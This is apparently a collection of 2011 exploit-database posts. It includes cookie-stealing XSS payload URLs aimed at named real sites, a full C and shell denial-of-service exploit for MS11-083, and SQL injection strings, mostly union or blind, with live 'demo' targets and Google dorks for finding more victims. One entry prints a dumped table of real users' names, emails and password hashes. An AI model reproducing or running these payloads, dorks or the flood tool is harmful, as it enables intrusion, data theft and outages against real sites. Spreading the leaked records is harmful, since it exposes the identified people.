# Exploit Title: shockwave.com Cross Site Scripting Vulnerability
# Date: 12/11/2011 - 04:00am
# Author: Ryuzaki Lawlet
# Website: http://jusryuz.blogspot.com
# Tested On: WinXP
# Platform: -
# Email: ryuzaki_l@y7mail.com
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[$] Vulnerable : http://www.domain.com/search.jsp?q=
[$] Preview Sites:
[~]
http://www.shockwave.com/search.jsp?q=%22%3E%3C/title%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
[XSS]
# Exploit Title: whois.com Cross Site Scripting Vulnerability
# Date: 12/11/2011 - 04:00am
# Author: Ryuzaki Lawlet
# Website: http://jusryuz.blogspot.com
# Tested On: WinXP
# Platform: -
# Email: ryuzaki_l@y7mail.com
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[$] Vulnerable : http://domains.domain.com/hosting.php?type=
[$] Preview Sites:
[~] http://domains.whois.com/hosting.php?type=%27%22%3E%3C/title%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
[XSS]
#!/bin/sh
cat >> winnuke2011.c << EOF
/*
* MS11-083 DoS/PoC exploit
* ========================
* This attempts to trigger the ICMP refCount overflow
* in TCP/IP stack of Win7/Vista/Win2k8 hosts. This
* requires sending 2^32 UDP packets to a host on a closed
* port, or 4,294,967,296 packets. A dereference function
* must be called that is not triggered via UDP but ICMP
* echo packets. This exploit creates 250 threads and
* floods a host with UDP packets and then attempts to
* trigger the de-ref using ping. I calculated that it
* would take approximately 52 days for the host to
* enter a condition where this vulnerability is
* triggerable.
*
* -- prdelka
*/
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/time.h>
int port;
int active = 0;
pthread_mutex_t mutexactive;
void *sendpackets(void *ptr);
int main(int argc, char *argv[]) {
pthread_t thread;
int iret,lthreads;
pid_t pid;
printf("[+] MS11-083 DoS/PoC exploit\n");
if(argc<3){
printf("[!] Usage : %s <server> <port>\n", argv[0]);
exit(1);
}
char *const args[] = {"ping",argv[1],NULL};
char *const envp[] = {"",NULL};
port = atoi(argv[2]);
for(lthreads=0;lthreads<250;lthreads++){//UDP flood
iret = pthread_create(&thread,NULL,sendpackets,argv[1]);
printf("[-] Thread number %d started\n",lthreads);
sleep(1);
}
printf("[-] One does not simply barrel roll into Mordor\n");
pid = fork();
if(pid==0){// trigger deref.
execve("./ping.sh",args,envp);
};
while(active){
}
printf("[-] You are finished. Patience is a virtue.\n");
exit(0);
}
void *sendpackets(void *ptr)
{
int sd, rc, n, echoLen, flags, error, timeOut;
unsigned long i;
struct sockaddr_in remoteServAddr;
struct hostent *h;
char str[41];
pthread_mutex_lock(&mutexactive);
active++;
pthread_mutex_unlock(&mutexactive);
srand(time(NULL));
for (i = 0;i < 40;++i){
str[i] = (char)((rand() % 78) + 30);
}
str[40] = '\0'; // yes this was off-by-one. :(
printf("[-] Sending payload '%s'\n",str);
h = gethostbyname(ptr);
if(h==NULL) {
printf("unknown host '%s' \n",(char*)ptr);
exit(1);
}
remoteServAddr.sin_family = h->h_addrtype;
memcpy((char *) &remoteServAddr.sin_addr.s_addr,h->h_addr_list[0], h->h_length);
remoteServAddr.sin_port = htons(port);
sd = socket(AF_INET,SOCK_DGRAM,0);
if(sd<0){
printf("[!] Cannot open socket\n");
pthread_exit((void*)0);
}
flags = 0;
for(i=0;i<4294967295;i++){
rc = sendto(sd,str,strlen(str)+1,flags,(struct sockaddr *)&remoteServAddr,sizeof(remoteServAddr));
if(rc<0){
printf("[!] Cannot send data\n");
close(sd);
pthread_exit((void*)0);
}
}
pthread_mutex_lock(&mutexactive);
active--;
pthread_mutex_unlock(&mutexactive);
pthread_exit(NULL);
}
EOF
cat >> ping.sh << EOF
#!/bin/sh
while \`true\`;do /sbin/ping -c 1 \$1;done
EOF
chmod +x ping.sh
gcc winnuke2011.c -o winnuke2011
./winnuke2011
# Exploit Title: ibm.com Cross Site Scripting Vulnerability
# Date: 12/11/2011 - 04:00am
# Author: Ryuzaki Lawlet
# Website: http://jusryuz.blogspot.com
# Tested On: WinXP
# Platform: -
# Email: ryuzaki_l@y7mail.com
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[$] Vulnerable : http://www-01.domain.com/[path]/[pat]/portal.page?loc=en_US
[$] Preview Sites:
[~] http://www-01.ibm.com/support/electronicsupport/portal.page?loc=en_US%3CIMG%20%22%22%22%3E%3CSCRIPT%3Ealert%28document.cookie%29%3C/SCRIPT%3E%22%3E
[XSS]
Date:
=====
2011-11-11
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=323
VL-ID:
=====
323
Introduction:
=============
Joomla is a free and open source content management system (CMS) for publishing content on
the World Wide Web and intranets and a model–view–controller (MVC) Web application framework
that can also be used independently.
Joomla is written in PHP, uses object-oriented programming (OOP) techniques and software design
patterns[citation needed], stores data in a MySQL database, and includes features such as page
caching, RSS feeds, printable versions of pages, news flashes, blogs, polls, search, and support
for language internationalization.
Joomla had been downloaded 23 million times. Between March 2007 and February 2011 there had been
more than 21 million downloads. There are over 7,400 free and commercial extensions available
from the official Joomla! Extension Directory and more available from other sources
(Copy of the Vendor Website: http://en.wikipedia.org/wiki/Joomla!)
Abstract:
=========
A vulnerability laboratory researcher discovered a Blind SQL Injection vulnerability on the com_content component of the joomla CMS.
Status:
========
Published
Exploitation-Technique:
=======================
Remote
Severity:
=========
Critical
Details:
========
A blind SQL Injection vulnerability was detected on the com_content component of the joomla CMS.
The vulnerability allows an attacker (remote) to inject/execute own sql statements on the affected application dbms.
Successful exploitation of the vulnerability can result in compromise of the affected application dbms.
Vulnerable Module(s):
[+] com_content
Proof of Concept:
=================
The vulnerability can be exploited be remote attackers. For demonstration or reproduce ...
1: [Site]/joomla/index.php?option=com_content&view=archive&year=1 [BSQLI]
2: [Site]/joomla/index.php?option=com_content&view=archive&year=-1 or 1=1--
3: [Site]/joomla/index.php?option=com_content&view=archive&year=-1 or 1=0--
[x] Demo :
http://www.paul.house.gov/index.php?option=com_content&view=archive&year=-1 or 1=0--
Risk:
=====
The security risk of the blind sql injection vulnerability is estimated as critical.
Credits:
========
E.Shahmohamadi
# Vendor: http://www.scriptmafia.org
# Date: 2011-07-27
# Author : indoushka
+++=[ Dz Offenders Cr3w ]=+++
# KedAns-Dz * Caddy-Dz * Kalashinkov3
# Jago-dz * Kha&miX * T0xic * Ev!LsCr!pT_Dz
# Contact : ind0ushka@hotmail.com
# Tested on : win SP2 + SP3 Fr / Back | Track 5 fr
########################################################################
# Exploit By indoushka
-------------
D4NB4R Wher are you contact me at Facebook or skype=ind0ushka
Dork : aff_produit.php?id=7
http://www.immovation.fr/aff_produit.php?id=%Inject_Here%7
id_conseiller nom prenom identifiant password email
4 CEREMONIE Odile odile e10adc3949ba59abbe56e057f20f883e test@test.com
8 sol daniel sol 813092c94bafbad3f1e6d2db35c6fea5 sol@cinet.fr
9 ALAMI Taher STAR e10adc3949ba59abbe56e057f20f883e taheralami@gmail.com
11 MADERNA PASCAL ARAKIS 57c2877c1d84c4b49f3289657deca65c arakis6@wanadoo.fr
14 beaumadier simon simon b30bd351371c686298d32281b337e8e9 'sbmas@wanadoo.fr'
23 Maderna Pascal arakys1 fa6a91ef9baa242de0b354a212e8cf82 arakis6@wanadoo.fr
24 Maderna Pascal arakis dc21aa0ce1e1e7530d96348c93078a80 arakis6@wanadoo.fr
# Exploit Title: Icdomains XSS
# Date: 11.11.2011 - 18.20
# Author: Mr.PaPaRoSSe
# Tested On: BackTrack 5 - Win7
# Platform: Php
-------------------------------------------------------------
Searchbox
<script>alert(document.cookie)</script>
http://icloudcenter.net/demos/icdomains/searchresults.php
Search
# Exploit Title: Ein-Sof Design Sql Injection Vulnerability
# Date: 09/11/2011
# Author: 3spi0n
# Software Website: http://www.ein-sof.com/
# Tested On: BackTrack 5 - Win7 Ultimate
# Platform: Php
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[$] Vulnerable File: Changer
[$] Dorks: "Developed by EIN-SOF"
[$] Demo Sites:
[~] http://www.matrix.com.mk/?item=products&catid=283" [PhpSQLi]
[~] http://www.fashionmk.com/content.php?id=1224" [PhpSQLi]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm kalashinkov3 member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
[+] Info================================================================
[-] Title : ARCS Solutions SQL Injection Vulnerability
[-] Author: Kalashinkov3
[-] Home : ALGERIA / 13000
[-] Website : 1337day.com
[-] Vendor: arcssolutions.in
[-] Email : kalashinkov3[at]Hotmail[dot]Fr / kalashinkov3[at]1337day[dot].com
[-] Date : 07/11/2011
[-] Google Dork : Powered by ARCS Solutions
[-] Category : webapps / 0day
[-] Special Thanks : -> KedAns-Dz, Caddy-Dz, KnocKout <-
[+] Exploit===============================================================
[-] SQL-i :)
# http://[localhost].co.il/place.php?id=1'
# http://[localhost].co.il/place.php?id=[SQLi]
# http://[localhost]/*.php?id='1
# http://[localhost]/*.php?id=[SQLi]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm kalashinkov3 member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
[+] Info================================================================
[-] Title : PBCSTechnology (articlenav.php) SQL Injection Vulnerability
[-] Author: Kalashinkov3
[-] Home : ALGERIA / 13000
[-] Website : 1337day.com
[-] Vendor: pbcstechnology.com
[-] Email : kalashinkov3[at]Hotmail[dot]Fr / kalashinkov3[at]1337day[dot].com
[-] Date : 07/11/2011
[-] Google Dork : powered by PBCSTechnology. & articlenav.php?id=
[-] Category : webapps / 0day
[-] Special Thanks : -> KedAns-Dz, Caddy-Dz, KnocKout <-
[+] Exploit===============================================================
[-] SQL-i :)
# http://[localhost].co.il/articlenav.php?id=1'
# http://[localhost].co.il/articlenav.php?id=[SQLi]
# http://[localhost]/*.php?id='1
# http://[localhost]/*.php?id=[SQLi]
[-] Admin Login
# http://[localhost]/admin
###################################################################
Techfolio 1.0 Component Joomla SQL Injection
###################################################################
Release Date Bug. 27-Oct-2011
Date Added. 30-Sep-2011
Vendor Notification Date. Never
Product. Techfolio
Platform. Joomla
Affected versions. 1.0
Type. Non-Commercial
Attack Vector. Sql Injection
Solution Status. unpublished
CVE reference. Not yet assigned
Download. techdeluge.com/joomla-component/com_techfolio.zip
I. BACKGROUND
This component is made for portfolio purpose.
Its easy to integrate and easy to made custom design.
category based structure.
this is base component we are in process with upgrade version also.
with new feature and new functionality which is easy to integrate.
we will launch it within 10 days.
II. DESCRIPTION
discovered a vulnerability in Techfolio, joomla component,
vulnerability is SQL injection
The parameters affected are:
catid
III. ANALYSIS
file:
/com_techfolio/frontend/models/techfoliodetail.php
[29] $catid = $_GET['catid'];
[30] if($catid!=''){
[31] $data = "SELECT * FROM #__techfolio WHERE catid = ".$catid;
[32] }else{
[33] $data = "SELECT * FROM #__techfolio";
[34] }
[35] $db->setQuery( $data );
[36] $data = $db->loadObjectList();
[37]
[38] return $data;
query to the variable $catid is not filtered
IV. EXPLOITATION
parameter [catid]:
//index.php?option=com_techfolio&view=techfoliodetail&catid=1[SQL]
[SQL]=injection sql
Discovered by.
Chris Russell
# [+] SjXjV-2.3 (post tid) Remote SQL Injection Vulnerabilities
# [+] Software : SjXjV-2.3
# [+] Download : http://www.shijiexuexi.cn
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
#
#[------------------------------------------------------------------------------------]
#
# [+] Vulnerability
#
# [+] SQL
#
# - http://site.com/post.php?fid=41&tid=-51%20union%20select%201,2,3,4,5,6,7,8,group_concat%28table_name%29,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.tables+where+table_schema%20=database%28%29--
#
# [+] Demo
#
# - http://zeed.tk/bbs/wap/post.php?fid=41&tid=-51%20union%20select%201,2,3,4,5,6,7,8,group_concat%28table_name%29,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.tables+where+table_schema%20=database%28%29--
#
# [+] Blind SQL
#
# - http://site.com/post.php?fid=41&tid=51 and substring(@@version,1,1)=5
#
# [+] Demo
#
# - http://zeed.tk/bbs/wap/post.php?fid=41&tid=51 and substring(@@version,1,1)=5
#
#[------------------------------------------------------------------------------------]
#
# [+] Subgroop (id) Remote SQL Injection Vulnerabilities
# [+] Software : Subgroop
# [+] Download : http://www.subgroop.com/sub/
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
#
#[------------------------------------------------------------------------------------]
#
# [+] Vulnerability
#
# [+] SQL
#
# - http://www.site.com/stays_detail.php?id=-27%20union%20select%201,2,3,group_concat%28id,0x3a,user,0x3a,password%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+users--
#
# [+] Demo
#
# - http://www.apnvoyages.ch/stays_detail.php?id=-27%20union%20select%201,2,3,group_concat%28id,0x3a,user,0x3a,password%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+users--
#
# [+] Blind SQL
#
# - http://www.site.com/stays_detail.php?id=27%20and%20substring(@@version,1,1)=5
#
# [+] Demo
#
# - http://www.apnvoyages.ch/stays_detail.php?id=27%20and%20substring(@@version,1,1)=5
#
#
#[------------------------------------------------------------------------------------]
# [+] EnjoyGraph (id_categ) Remote SQL Injection Vulnerabilities
# [+] Software : EnjoyGraph Communication
# [+] Download : http://www.enjoy-graph.com/fr/
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
#
#[------------------------------------------------------------------------------------]
#
# [+] Vulnerability
#
# [+] SQL
#
# - http://www.site.com/produits.php?id_categ=-5%20union%20all%20select%201,version%28%29,3,4,5,6--
#
# [+] Demo
#
# - http://www.medis-distribution.com/produits.php?id_categ=-5%20union%20all%20select%201,version%28%29,3,4,5,6--
#
# [+] Blind SQL
#
# - http://www.site.com/produits.php?id_categ=-5%20and%20@@version=5
#
# [+] Demo
#
# - http://www.medis-distribution.com/produits.php?id_categ=-5%20and%20@@version=5
#
#
#[------------------------------------------------------------------------------------]
# [+] Plici 2.0.0.Stable.r.1878 (Search) XSS vulnerability
# [+] Software : Plici
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
# [+] Download : http://www.plici.net/
#
#[------------------------------------------------------------------------------------]
#
# [+] Vulnerability
#
# [+] XSS
#
# - http://theme4.plici.net/l1/p48-search.html => Your XSS
#
#[------------------------------------------------------------------------------------]
===============================================================
# Exploit Title : MG for media solutions SQL inj: vulnerable
# Google Dork : intext:"Powered by MG for media solutions
# Date : 27-10-2011
# Author : nGa Sa Lu [ GaNgst3r ]
# Service Provider : http://www.mg-me.com/ourservices
# Tested on : Vista
# Platform : php
================================================================
[+] Google Dork :
intext:"Powered by MG for media solutions
[+] SQL Error Statement :
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
[+] Demo :
http://www.apex-sy.com/index.php?inid=4&pid=[SQL]
http://hekmahospital.com/index.php?inid=1&id=[SQL]